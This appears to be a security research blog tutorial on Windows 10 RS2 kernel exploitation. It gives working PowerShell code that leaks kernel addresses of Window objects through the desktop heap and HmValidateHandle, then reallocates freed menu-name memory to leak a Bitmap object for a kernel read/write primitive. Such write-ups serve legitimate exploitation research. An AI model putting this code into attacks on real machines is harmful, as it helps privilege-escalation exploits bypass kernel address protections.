Hello and welcome back to another installment of the Windows Kernel exploitation series! It has been a while since my last post due to a lack of free time, I have however been putting out and refining a good amount of code in my PSKernel-Primitives repo so please keep an eye on that if you are interested in PowerShell Kernel pwn.
Today we will be resurrecting our, much loved, Bitmap kernel primitive on Windows 10 RS2. We are skipping RS1 as I wrote a blogpost for @mwrlabs detailing how to bypass the new mitigations present in the anniversary edition here.
We will go through two different techniques to leak Window objects from the desktop heap and then, using those objects, leak Bitmaps. I strongly recommend that you consult the resources below for more background information. Anyway, enough jibber jabber, let's get to it!
Resources:
+ Win32k Dark Composition: Attacking the Shadow part of Graphic subsystem (Peng Qui & SheFang Zhong => 360Vulcan) - here
+ LPE vulnerabilities exploitation on Windows 10 Anniversary Update (Drozdov Yurii & Drozdova Liudmila) - here
+ Morten Schenk's tweet revealing the first technique :D (@Blomster81) - here
+ Abusing GDI for ring0 exploit primitives: reloaded (@NicoEconomou & Diego Juarez) - here
+ A Tale Of Bitmaps: Leaking GDI Objects Post Windows 10 Anniversary Edition (@FuzzySec) - here
+ PSKernel-Primitives (@FuzzySec) - here
+ Windows RS2 HmValidateHandle Write-What-Where (@FuzzySec) - here
Plugging leaks
We would do well to briefly list the the mitigations Microsoft implemented to prevent Bitmap leaks and how these were bypassed for each iteration. The major build versions are used below for reference.
Windows 10 v1511
+ No mitigation in place at this point.
+ To leak, we grabbed a handle to the GdiSharedHandleTable from the PEB, performed a lookup to find the correct GDI_CELL struct and then read out the pKernelAddress which disclosed the Kernel address of the Bitmap SURFOBJ. Sample code can be found here.
Windows 10 RS1 v1607
+ Microsoft nulled the pKernelAddress in the GDI_CELL struct killing the old infoleak.
+ It was found that a number of objects, located in the same pool as our coveted Bitmap (paged pool), could be leaked. This was achieved by getting the address of gSharedInfo (global variable) from user32, reading out the address of the aheList HANDLEENTRY array, finding the correct array entry and finally reading out the phead element to get the kernel address of the object. Though we could not get the address of our bitmap directly, it was possible to craft/leak objects with a large size (ensuring the would end up in a low entropy large pool) and then perform a UAF style attack where the original object was free'd and the Bitmap allocated in it's place. Sample code can be found here.
Windows 10 RS2 v1703
+ Wouldn't you know it, Microsoft nulled the phead pointer killing the leak.
+ In this post we will discuss how we can use the user mapped Desktop heap to leak Window objects and, similar to what we did before, perform a UAF style attack to regain our Bitmap primitive!
Leak 1 => TEB.Win32ClientInfo
The first thing we want to do is leak the Kernel addresses for the tagWND and tagCLS Window structures. We will start off with Morten's leak as it provides better background to understanding the second leak.
The tweet below gives us all the detail we need to leak the address of the user mapped Desktop heap and how to calculate the offset from the user-mode version to the kernel-mode version (ulClientDelta).
It seems like the pointer to the user-mode version is stored at TEB.Win32ClientInfo+0x28 and the pointer to the kernel-mode version is stored at a further 0x28 from that address. The client delta in turn is simply the kernel address minus the user address. We can easily script something up in PowerShell which pulls out this data for us.
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
[StructLayout(LayoutKind.Sequential)]
public struct _THREAD_BASIC_INFORMATION
{
public IntPtr ExitStatus;
public IntPtr TebBaseAddress;
public IntPtr ClientId;
public IntPtr AffinityMask;
public IntPtr Priority;
public IntPtr BasePriority;
}
public static class TEB
{
[DllImport("ntdll.dll")]
public static extern int NtQueryInformationThread(
IntPtr hThread,
int ThreadInfoClass,
ref _THREAD_BASIC_INFORMATION ThreadInfo,
int ThreadInfoLength,
ref int ReturnLength);
[DllImport("kernel32.dll")]
public static extern IntPtr GetCurrentThread();
}
"@
# Pseudo handle => -2
$CurrentHandle = [TEB]::GetCurrentThread()
# ThreadBasicInformation
$THREAD_BASIC_INFORMATION = New-Object _THREAD_BASIC_INFORMATION
$THREAD_BASIC_INFORMATION_SIZE = [System.Runtime.InteropServices.Marshal]::SizeOf($THREAD_BASIC_INFORMATION)
$RetLen = New-Object Int
$CallResult = [TEB]::NtQueryInformationThread($CurrentHandle,0,[ref]$THREAD_BASIC_INFORMATION,$THREAD_BASIC_INFORMATION_SIZE,[ref]$RetLen)
$TEBBase = $THREAD_BASIC_INFORMATION.TebBaseAddress
$TEB_Win32ClientInfo = [Int64]$TEBBase+0x800
$TEB_UserKernelDesktopHeap = [System.Runtime.InteropServices.Marshal]::ReadInt64([Int64]$TEBBase+0x828)
$TEB_KernelDesktopHeap = [System.Runtime.InteropServices.Marshal]::ReadInt64($TEB_UserKernelDesktopHeap+0x28)
echo "`n[+] _TEB.Win32ClientInfo: $('{0:X16}' -f $TEB_Win32ClientInfo)"
echo "[+] User Mapped Desktop Heap: $('{0:X16}' -f $TEB_UserKernelDesktopHeap)"
echo "[+] Kernel Desktop Heap: $('{0:X16}' -f $TEB_KernelDesktopHeap)"
echo "[+] ulClientDelta: $('{0:X16}' -f ($TEB_KernelDesktopHeap-$TEB_UserKernelDesktopHeap))`n"
Running our POC give the following output.
We can briefly confirm these values in KD.
An analysis of the desktop heap is beyond the scope of this post, for further information you can have a look here.
Scanning the Desktop Heap
Cool, the next step is to create a Window object and scan the Desktop Heap to find it. Since Microsoft decided (after Windows 8) that people don't need symbols for tagWND & tagCLS (..sigh..) we will have a quick look at these structures on Windows 7.
As we can see, the first IntPtr sized value of tagWND is the Window handle (returned by CreateWindow/Ex). Notice also that tagWND->THRDESKHEAD->pSelf is a pointer to tagWND in the Kernel and that we can actually calculate the ulClientDelta by subtracting the Kernel tagWND from the user tagWND. One final thing to note is that the tagWND & tagCLS structures were changed in Windows 10 RS2. A bit of light reversing showed the following relevant offset changes.
x64 Pre RS2 (15063)
+ Window handle => 0x0
+ pSelf => 0x20
+ pcls => 0x98
+ lpszMenuNameOffset => pcls + 0x88
x64 Post RS2 (15063)
+ Window handle => 0x0
+ pSelf => 0x20
+ pcls => 0xa8
+ lpszMenuNameOffset => pcls + 0x90
Finding the a Window on the Desktop Heap is pretty straight forward, starting at the base of the Desktop Heap we can read out IntPtr sized values and compare them to a specific Window handle. Once we find a match we know we have the offset to the start of the tagWND struct. Let's update our POC and give that a go.
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
[StructLayout(LayoutKind.Sequential)]
public struct _THREAD_BASIC_INFORMATION
{
public IntPtr ExitStatus;
public IntPtr TebBaseAddress;
public IntPtr ClientId;
public IntPtr AffinityMask;
public IntPtr Priority;
public IntPtr BasePriority;
}
public class DesktopHeapGDI
{
delegate IntPtr WndProc(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam);
[System.Runtime.InteropServices.StructLayout(LayoutKind.Sequential,CharSet=CharSet.Unicode)]
struct WNDCLASS
{
public uint style;
public IntPtr lpfnWndProc;
public int cbClsExtra;
public int cbWndExtra;
public IntPtr hInstance;
public IntPtr hIcon;
public IntPtr hCursor;
public IntPtr hbrBackground;
[MarshalAs(UnmanagedType.LPWStr)]
public string lpszMenuName;
[MarshalAs(UnmanagedType.LPWStr)]
public string lpszClassName;
}
[System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
static extern System.UInt16 RegisterClassW(
[System.Runtime.InteropServices.In] ref WNDCLASS lpWndClass
);
[System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
static extern IntPtr CreateWindowExW(
UInt32 dwExStyle,
[MarshalAs(UnmanagedType.LPWStr)]
string lpClassName,
[MarshalAs(UnmanagedType.LPWStr)]
string lpWindowName,
UInt32 dwStyle,
Int32 x,
Int32 y,
Int32 nWidth,
Int32 nHeight,
IntPtr hWndParent,
IntPtr hMenu,
IntPtr hInstance,
IntPtr lpParam
);
[System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
static extern System.IntPtr DefWindowProcW(
IntPtr hWnd,
uint msg,
IntPtr wParam,
IntPtr lParam
);
[System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
static extern bool DestroyWindow(
IntPtr hWnd
);
[DllImport("ntdll.dll")]
public static extern int NtQueryInformationThread(
IntPtr hThread,
int ThreadInfoClass,
ref _THREAD_BASIC_INFORMATION ThreadInfo,
int ThreadInfoLength,
ref int ReturnLength);
[DllImport("kernel32.dll")]
public static extern IntPtr GetCurrentThread();
[DllImport("kernel32.dll", SetLastError = true)]
public static extern void DebugBreak();
private IntPtr m_hwnd;
public IntPtr CustomWindow(string class_name, string menu_name)
{
m_wnd_proc_delegate = CustomWndProc;
WNDCLASS wind_class = new WNDCLASS();
wind_class.lpszClassName = class_name;
wind_class.lpszMenuName = menu_name;
wind_class.lpfnWndProc = System.Runtime.InteropServices.Marshal.GetFunctionPointerForDelegate(m_wnd_proc_delegate);
UInt16 class_atom = RegisterClassW(ref wind_class);
m_hwnd = CreateWindowExW(
0,
class_name,
String.Empty,
0,
0,
0,
0,
0,
IntPtr.Zero,
IntPtr.Zero,
IntPtr.Zero,
IntPtr.Zero
);
return m_hwnd;
}
private static IntPtr CustomWndProc(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam)
{
return DefWindowProcW(hWnd, msg, wParam, lParam);
}
private WndProc m_wnd_proc_delegate;
}
"@
#------------------[Create Window]
# Call nonstatic public method => delegWndProc
$DesktopHeapGDI = New-Object DesktopHeapGDI
# Menu name buffer
$Buff = "A"*0x8F0
$Handle = $DesktopHeapGDI.CustomWindow("TestWindow",$Buff)
#$Handle.ToInt64()
echo "`n[+] Window handle: $Handle"
#------------------[Leak Desktop Heap]
# Pseudo handle => -2
$CurrentHandle = [DesktopHeapGDI]::GetCurrentThread()
# ThreadBasicInformation
$THREAD_BASIC_INFORMATION = New-Object _THREAD_BASIC_INFORMATION
$THREAD_BASIC_INFORMATION_SIZE = [System.Runtime.InteropServices.Marshal]::SizeOf($THREAD_BASIC_INFORMATION)
$RetLen = New-Object Int
$CallResult = [DesktopHeapGDI]::NtQueryInformationThread($CurrentHandle,0,[ref]$THREAD_BASIC_INFORMATION,$THREAD_BASIC_INFORMATION_SIZE,[ref]$RetLen)
$TEBBase = $THREAD_BASIC_INFORMATION.TebBaseAddress
$TEB_Win32ClientInfo = [Int64]$TEBBase+0x800
$TEB_UserKernelDesktopHeap = [System.Runtime.InteropServices.Marshal]::ReadInt64([Int64]$TEBBase+0x828)
$TEB_KernelDesktopHeap = [System.Runtime.InteropServices.Marshal]::ReadInt64($TEB_UserKernelDesktopHeap+0x28)
$ulClientDelta = $TEB_KernelDesktopHeap - $TEB_UserKernelDesktopHeap
echo "`n[+] _TEB.Win32ClientInfo: $('{0:X16}' -f $TEB_Win32ClientInfo)"
echo "[+] User Mapped Desktop Heap: $('{0:X16}' -f $TEB_UserKernelDesktopHeap)"
echo "[+] Kernel Desktop Heap: $('{0:X16}' -f $TEB_KernelDesktopHeap)"
echo "[+] ulClientDelta: $('{0:X16}' -f $ulClientDelta)"
#------------------[Parse User Desktop Heap]
echo "`n[+] Parsing Desktop heap.."
for ($i=0;$i -lt 0xFFFFF;$i=$i+8) {
$ReadHandle = [System.Runtime.InteropServices.Marshal]::ReadInt64($TEB_UserKernelDesktopHeap + $i)
if ($ReadHandle -eq $Handle.ToInt64()) {
echo "[!] w00t, found handle!"
$UsertagWND = $TEB_UserKernelDesktopHeap + $i
$KerneltagCLS = [System.Runtime.InteropServices.Marshal]::ReadInt64($UsertagWND + 0xa8)
break
}
}
echo "`n[+] User tagWND: $('{0:X16}' -f $($UsertagWND))"
echo "[+] User tagCLS: $('{0:X16}' -f $($KerneltagCLS-$ulClientDelta))"
echo "[+] Kernel tagWND: $('{0:X16}' -f $($UsertagWND+$ulClientDelta))"
echo "[+] Kernel tagCLS: $('{0:X16}' -f $($KerneltagCLS))"
echo "[+] Kernel tagCLS.lpszMenuName: $('{0:X16}' -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($KerneltagCLS-$ulClientDelta+0x90)))`n"
#------------------[Break]
Start-Sleep -s 20
[DesktopHeapGDI]::DebugBreak()
There is no overhead doing this type of read operation, we immediately get the following results back. Notice the PowerShell prompt has not returned, this is because we need to break before the script exits.
Some quick dq/db's in KD show that we successfully calculated all the relevant offsets.
Leak 2 => User32::HmValidateHandle
The use of HmValidateHandle was first discussed by @kernelpool in his 2011 paper Kernel Attacks through User-Mode Callbacks and has later been used in a number of exploits including CVE-2016-7255 as exploited by Fancy Bear.
HmValidateHandle is a very interesting function as we can provide it with a handle to a Window object and it will return the pointer to the user mapped tagWND object on the Desktop Heap, isn't that useful! This way we can get round the whole TEB parsing and brute-forcing. The only issue is that HmValidateHandle is not exported by User32 so we need to do some tricks to get it's address and then cast a delegate.
From a lot of public accounts we gather that HmValidateHandle is close to the exported User32::IsMenu function, let's have a look at that in KD.
Nice an painless indeed! All we need to do is get the run-time address of User32::IsMenu, look for the first occurence of 0xE8 (call ...) and cast the pointer as a delegate. We can use the following PowerShell code snippet to do this.
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public class HmValidateHandleBitmap
{
delegate IntPtr WndProc(
IntPtr hWnd,
uint msg,
IntPtr wParam,
IntPtr lParam);
[StructLayout(LayoutKind.Sequential,CharSet=CharSet.Unicode)]
struct WNDCLASS
{
public uint style;
public IntPtr lpfnWndProc;
public int cbClsExtra;
public int cbWndExtra;
public IntPtr hInstance;
public IntPtr hIcon;
public IntPtr hCursor;
public IntPtr hbrBackground;
[MarshalAs(UnmanagedType.LPWStr)]
public string lpszMenuName;
[MarshalAs(UnmanagedType.LPWStr)]
public string lpszClassName;
}
[DllImport("user32.dll")]
static extern System.UInt16 RegisterClassW(
[In] ref WNDCLASS lpWndClass);
[DllImport("user32.dll")]
public static extern IntPtr CreateWindowExW(
UInt32 dwExStyle,
[MarshalAs(UnmanagedType.LPWStr)]
string lpClassName,
[MarshalAs(UnmanagedType.LPWStr)]
string lpWindowName,
UInt32 dwStyle,
Int32 x,
Int32 y,
Int32 nWidth,
Int32 nHeight,
IntPtr hWndParent,
IntPtr hMenu,
IntPtr hInstance,
IntPtr lpParam);
[DllImport("user32.dll")]
static extern System.IntPtr DefWindowProcW(
IntPtr hWnd,
uint msg,
IntPtr wParam,
IntPtr lParam);
[DllImport("user32.dll")]
public static extern bool DestroyWindow(
IntPtr hWnd);
[DllImport("user32.dll")]
public static extern bool UnregisterClass(
String lpClassName,
IntPtr hInstance);
[DllImport("kernel32",CharSet=CharSet.Ansi)]
public static extern IntPtr LoadLibrary(
string lpFileName);
[DllImport("kernel32",CharSet=CharSet.Ansi,ExactSpelling=true)]
public static extern IntPtr GetProcAddress(
IntPtr hModule,
string procName);
public delegate IntPtr HMValidateHandle(
IntPtr hObject,
int Type);
[DllImport("gdi32.dll")]
public static extern IntPtr CreateBitmap(
int nWidth,
int nHeight,
uint cPlanes,
uint cBitsPerPel,
IntPtr lpvBits);
public UInt16 CustomClass(string class_name, string menu_name)
{
m_wnd_proc_delegate = CustomWndProc;
WNDCLASS wind_class = new WNDCLASS();
wind_class.lpszClassName = class_name;
wind_class.lpszMenuName = menu_name;
wind_class.lpfnWndProc = System.Runtime.InteropServices.Marshal.GetFunctionPointerForDelegate(m_wnd_proc_delegate);
return RegisterClassW(ref wind_class);
}
private static IntPtr CustomWndProc(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam)
{
return DefWindowProcW(hWnd, msg, wParam, lParam);
}
private WndProc m_wnd_proc_delegate;
}
"@
#------------------[Create/Destroy Window]
# Call nonstatic public method => delegWndProc
$AtomCreate = New-Object HmValidateHandleBitmap
function Create-WindowObject {
$MenuBuff = "A"*0x8F0
$hAtom = $AtomCreate.CustomClass("BitmapStager",$MenuBuff)
[HmValidateHandleBitmap]::CreateWindowExW(0,"BitmapStager",[String]::Empty,0,0,0,0,0,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero)
}
function Destroy-WindowObject {
param ($Handle)
$CallResult = [HmValidateHandleBitmap]::DestroyWindow($Handle)
$CallResult = [HmValidateHandleBitmap]::UnregisterClass("BitmapStager",[IntPtr]::Zero)
}
#------------------[Cast HMValidateHandle]
function Cast-HMValidateHandle {
$hUser32 = [HmValidateHandleBitmap]::LoadLibrary("user32.dll")
$lpIsMenu = [HmValidateHandleBitmap]::GetProcAddress($hUser32, "IsMenu")
# Get HMValidateHandle pointer
for ($i=0;$i-lt50;$i++) {
if ($([System.Runtime.InteropServices.Marshal]::ReadByte($lpIsMenu.ToInt64()+$i)) -eq 0xe8) {
$HMValidateHandleOffset = [System.Runtime.InteropServices.Marshal]::ReadInt32($lpIsMenu.ToInt64()+$i+1)
[IntPtr]$lpHMValidateHandle = $lpIsMenu.ToInt64() + $i + 5 + $HMValidateHandleOffset
}
}
if ($lpHMValidateHandle) {
# Cast IntPtr to delegate
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($lpHMValidateHandle,[HmValidateHandleBitmap+HMValidateHandle])
}
}
#------------------[Window Leak]
function Leak-lpszMenuName {
param($WindowHandle)
$OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version
$OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)"
if ($OSMajorMinor -eq "10.0" -And $OSVersion.Build -ge 15063) {
$pCLSOffset = 0xa8
$lpszMenuNameOffset = 0x90
} else {
$pCLSOffset = 0x98
$lpszMenuNameOffset = 0x88
}
# Cast HMValidateHandle & get window desktop heap pointer
$HMValidateHandle = Cast-HMValidateHandle
$lpUserDesktopHeapWindow = $HMValidateHandle.Invoke($WindowHandle,1)
# Calculate all the things
$ulClientDelta = [System.Runtime.InteropServices.Marshal]::ReadInt64($lpUserDesktopHeapWindow.ToInt64()+0x20) - $lpUserDesktopHeapWindow.ToInt64()
$KerneltagCLS = [System.Runtime.InteropServices.Marshal]::ReadInt64($lpUserDesktopHeapWindow.ToInt64()+$pCLSOffset)
$lpszMenuName = [System.Runtime.InteropServices.Marshal]::ReadInt64($KerneltagCLS-$ulClientDelta+$lpszMenuNameOffset)
echo "`n[+] ulClientDelta: $('{0:X16}' -f $ulClientDelta)"
echo "[+] User tagWND: $('{0:X16}' -f $($lpUserDesktopHeapWindow.ToInt64()))"
echo "[+] User tagCLS: $('{0:X16}' -f $($KerneltagCLS-$ulClientDelta))"
echo "[+] Kernel tagWND: $('{0:X16}' -f $($lpUserDesktopHeapWindow.ToInt64()+$ulClientDelta))"
echo "[+] Kernel tagCLS: $('{0:X16}' -f $($KerneltagCLS))"
echo "[+] Kernel tagCLS.lpszMenuName: $('{0:X16}' -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($KerneltagCLS-$ulClientDelta+0x90)))`n"
}
$hWindow = Create-WindowObject
echo "`n[+] Window handle: $hWindow"
Leak-lpszMenuName -WindowHandle $hWindow
Running the POC above essentially gives us the same result as the first leak but with less steps!
Use-After-Free Bitmap
Still, I guess, the reader's question is why do we care about Window objects? Where is my Bitmap at you bastard? Well, the Window menu name (lpszMenuName) is allocated in the same Kernel pool as our bitmap. The idea is that we allocate a large Window menu name, free it and then allocate our Bitmap which will reuse the free'd memory. This seems a bit tricky but if we make the menu name larger than 4kb it ends up in the large pool which has low'ish entropy making this UAF style leak 100% reliable. This process is almost identical to the RS1 bypass using Accelerator Tables.
The following image illustrates this process.
The PowerShell function to achieve this can be seen below. For a more sensible rendition please refer to my PSKernel-Primitives repo.
function Stage-HmValidateHandleBitmap {
<#
.SYNOPSIS
Universal x64 Bitmap leak using HmValidateHandle.
Targets: 7, 8, 8.1, 10, 10 RS1, 10 RS2
Resources:
+ Win32k Dark Composition: Attacking the Shadow part of Graphic subsystem <= 360Vulcan
+ LPE vulnerabilities exploitation on Windows 10 Anniversary Update <= Drozdov Yurii & Drozdova Liudmila
.DESCRIPTION
Author: Ruben Boonen (@FuzzySec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.EXAMPLE
PS C:\Users\b33f> Stage-HmValidateHandleBitmap |fl
BitmapKernelObj : -7692235059200
BitmappvScan0 : -7692235059120
BitmapHandle : 1845828432
PS C:\Users\b33f> $Manager = Stage-HmValidateHandleBitmap
PS C:\Users\b33f> "{0:X}" -f $Manager.BitmapKernelObj
FFFFF901030FF000
#>
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public class HmValidateHandleBitmap
{
delegate IntPtr WndProc(
IntPtr hWnd,
uint msg,
IntPtr wParam,
IntPtr lParam);
[StructLayout(LayoutKind.Sequential,CharSet=CharSet.Unicode)]
struct WNDCLASS
{
public uint style;
public IntPtr lpfnWndProc;
public int cbClsExtra;
public int cbWndExtra;
public IntPtr hInstance;
public IntPtr hIcon;
public IntPtr hCursor;
public IntPtr hbrBackground;
[MarshalAs(UnmanagedType.LPWStr)]
public string lpszMenuName;
[MarshalAs(UnmanagedType.LPWStr)]
public string lpszClassName;
}
[DllImport("user32.dll")]
static extern System.UInt16 RegisterClassW(
[In] ref WNDCLASS lpWndClass);
[DllImport("user32.dll")]
public static extern IntPtr CreateWindowExW(
UInt32 dwExStyle,
[MarshalAs(UnmanagedType.LPWStr)]
string lpClassName,
[MarshalAs(UnmanagedType.LPWStr)]
string lpWindowName,
UInt32 dwStyle,
Int32 x,
Int32 y,
Int32 nWidth,
Int32 nHeight,
IntPtr hWndParent,
IntPtr hMenu,
IntPtr hInstance,
IntPtr lpParam);
[DllImport("user32.dll")]
static extern System.IntPtr DefWindowProcW(
IntPtr hWnd,
uint msg,
IntPtr wParam,
IntPtr lParam);
[DllImport("user32.dll")]
public static extern bool DestroyWindow(
IntPtr hWnd);
[DllImport("user32.dll")]
public static extern bool UnregisterClass(
String lpClassName,
IntPtr hInstance);
[DllImport("kernel32",CharSet=CharSet.Ansi)]
public static extern IntPtr LoadLibrary(
string lpFileName);
[DllImport("kernel32",CharSet=CharSet.Ansi,ExactSpelling=true)]
public static extern IntPtr GetProcAddress(
IntPtr hModule,
string procName);
public delegate IntPtr HMValidateHandle(
IntPtr hObject,
int Type);
[DllImport("gdi32.dll")]
public static extern IntPtr CreateBitmap(
int nWidth,
int nHeight,
uint cPlanes,
uint cBitsPerPel,
IntPtr lpvBits);
public UInt16 CustomClass(string class_name, string menu_name)
{
m_wnd_proc_delegate = CustomWndProc;
WNDCLASS wind_class = new WNDCLASS();
wind_class.lpszClassName = class_name;
wind_class.lpszMenuName = menu_name;
wind_class.lpfnWndProc = System.Runtime.InteropServices.Marshal.GetFunctionPointerForDelegate(m_wnd_proc_delegate);
return RegisterClassW(ref wind_class);
}
private static IntPtr CustomWndProc(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam)
{
return DefWindowProcW(hWnd, msg, wParam, lParam);
}
private WndProc m_wnd_proc_delegate;
}
"@
#------------------[Create/Destroy Window]
# Call nonstatic public method => delegWndProc
$AtomCreate = New-Object HmValidateHandleBitmap
function Create-WindowObject {
$MenuBuff = "A"*0x8F0
$hAtom = $AtomCreate.CustomClass("BitmapStager",$MenuBuff)
[HmValidateHandleBitmap]::CreateWindowExW(0,"BitmapStager",[String]::Empty,0,0,0,0,0,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero)
}
function Destroy-WindowObject {
param ($Handle)
$CallResult = [HmValidateHandleBitmap]::DestroyWindow($Handle)
$CallResult = [HmValidateHandleBitmap]::UnregisterClass("BitmapStager",[IntPtr]::Zero)
}
#------------------[Cast HMValidateHandle]
function Cast-HMValidateHandle {
$hUser32 = [HmValidateHandleBitmap]::LoadLibrary("user32.dll")
$lpIsMenu = [HmValidateHandleBitmap]::GetProcAddress($hUser32, "IsMenu")
# Get HMValidateHandle pointer
for ($i=0;$i-lt50;$i++) {
if ($([System.Runtime.InteropServices.Marshal]::ReadByte($lpIsMenu.ToInt64()+$i)) -eq 0xe8) {
$HMValidateHandleOffset = [System.Runtime.InteropServices.Marshal]::ReadInt32($lpIsMenu.ToInt64()+$i+1)
[IntPtr]$lpHMValidateHandle = $lpIsMenu.ToInt64() + $i + 5 + $HMValidateHandleOffset
}
}
if ($lpHMValidateHandle) {
# Cast IntPtr to delegate
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($lpHMValidateHandle,[HmValidateHandleBitmap+HMValidateHandle])
}
}
#------------------[lpszMenuName Leak]
function Leak-lpszMenuName {
param($WindowHandle)
$OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version
$OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)"
if ($OSMajorMinor -eq "10.0" -And $OSVersion.Build -ge 15063) {
$pCLSOffset = 0xa8
$lpszMenuNameOffset = 0x90
} else {
$pCLSOffset = 0x98
$lpszMenuNameOffset = 0x88
}
# Cast HMValidateHandle & get window desktop heap pointer
$HMValidateHandle = Cast-HMValidateHandle
$lpUserDesktopHeapWindow = $HMValidateHandle.Invoke($WindowHandle,1)
# Calculate ulClientDelta & leak lpszMenuName
$ulClientDelta = [System.Runtime.InteropServices.Marshal]::ReadInt64($lpUserDesktopHeapWindow.ToInt64()+0x20) - $lpUserDesktopHeapWindow.ToInt64()
$KerneltagCLS = [System.Runtime.InteropServices.Marshal]::ReadInt64($lpUserDesktopHeapWindow.ToInt64()+$pCLSOffset)
[System.Runtime.InteropServices.Marshal]::ReadInt64($KerneltagCLS-$ulClientDelta+$lpszMenuNameOffset)
}
#------------------[Bitmap Leak]
$KernelArray = @()
for ($i=0;$i -lt 20;$i++) {
$TestWindowHandle = Create-WindowObject
$KernelArray += Leak-lpszMenuName -WindowHandle $TestWindowHandle
if ($KernelArray.Length -gt 1) {
if ($KernelArray[$i] -eq $KernelArray[$i-1]) {
Destroy-WindowObject -Handle $TestWindowHandle
[IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x50*2*4)
$BitmapHandle = [HmValidateHandleBitmap]::CreateBitmap(0x701, 2, 1, 8, $Buffer) # +4 kb size
break
}
}
Destroy-WindowObject -Handle $TestWindowHandle
}
$BitMapObject = @()
$HashTable = @{
BitmapHandle = $BitmapHandle
BitmapKernelObj = $($KernelArray[$i])
BitmappvScan0 = $KernelArray[$i] + 0x50
}
$Object = New-Object PSObject -Property $HashTable
$BitMapObject += $Object
$BitMapObject
}
Let's give that a quick go.
The SURFOBJ structure is pretty distinct and even though we don't have any symbols for it we can easily tell the leak was successful.
Final Thoughts
That's it pretty much! Our much loved Bitmap primitive has survived two rounds of mitigations by Microsoft so far. Bitmaps provide a really powerful (and convenient) read/write primitive that is applicable in a wide range of Kernel exploitation scenarios. Inevitably, Microsoft will keep hammering this primitive till we lose it for good, but who know we may be back for round 3 when RS3 hits!